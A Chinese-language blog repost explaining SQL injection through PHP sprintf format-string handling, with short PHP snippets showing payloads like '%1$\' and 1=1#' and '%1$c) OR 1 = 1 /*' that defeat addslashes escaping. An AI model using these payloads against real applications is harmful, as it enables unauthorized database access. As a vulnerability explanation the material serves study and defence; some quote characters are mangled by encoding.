sprintf格式化字符串帶來的註入隱患
阿新 • • 發佈:2017-11-12
res .html 知識 spa admin ash 格式 name lec
原文鏈接:https://paper.seebug.org/386/
摘要點關鍵知識點
<?php $input = addslashes("%1$‘ and 1=1#"); $b = sprintf("AND b=‘%s‘", $input); ... $sql = sprintf("SELECT * FROM t WHERE a=‘%s‘ $b", ‘admin‘); echo $sql;
通過fuzz得知,在php的格式化字符串中,%後的一個字符(除了‘%‘
)會被當作字符類型,而被吃掉,單引號‘
,斜杠\
也不例外。
如果能提前將%‘ and 1=1#
拼接入sql語句,若存在SQLi過濾,單引號會被轉義成\‘
select * from user where username = ‘%\‘ and 1=1#‘;
然後這句sql語句如果繼續進入格式化字符串,\
會被%
吃掉,‘
成功逃逸
<?php $sql = "select * from user where username = ‘%\‘ and 1=1#‘;"; $args = "admin"; echo sprintf( $sql, $args ) ; //result: select * from user where username = ‘‘ and 1=1#‘ ?>
還可以使用%1$
吃掉後面的斜杠,而不引起報錯
<?php$sql = "select * from user where username = ‘%1$\‘ and 1=1#‘ and password=‘%s‘;"; $args = "admin"; echo sprintf( $sql, $args) ; //result: select * from user where username = ‘‘ and 1=1#‘ and password=‘admin‘; ?>
國外安全研究人員Anthony Ferrara給出了另一種此漏洞的利用方式
<?php $input1 = ‘%1$c) OR 1 = 1 /*‘; $input2= 39; $sql = "SELECT * FROM foo WHERE bar IN (‘$input1‘) AND baz = %s"; $sql = sprintf($sql, $input2); echo $sql;
%c
起到了類似chr()
的效果,將數字39轉化為‘
,從而導致了sql註入。
sprintf格式化字符串帶來的註入隱患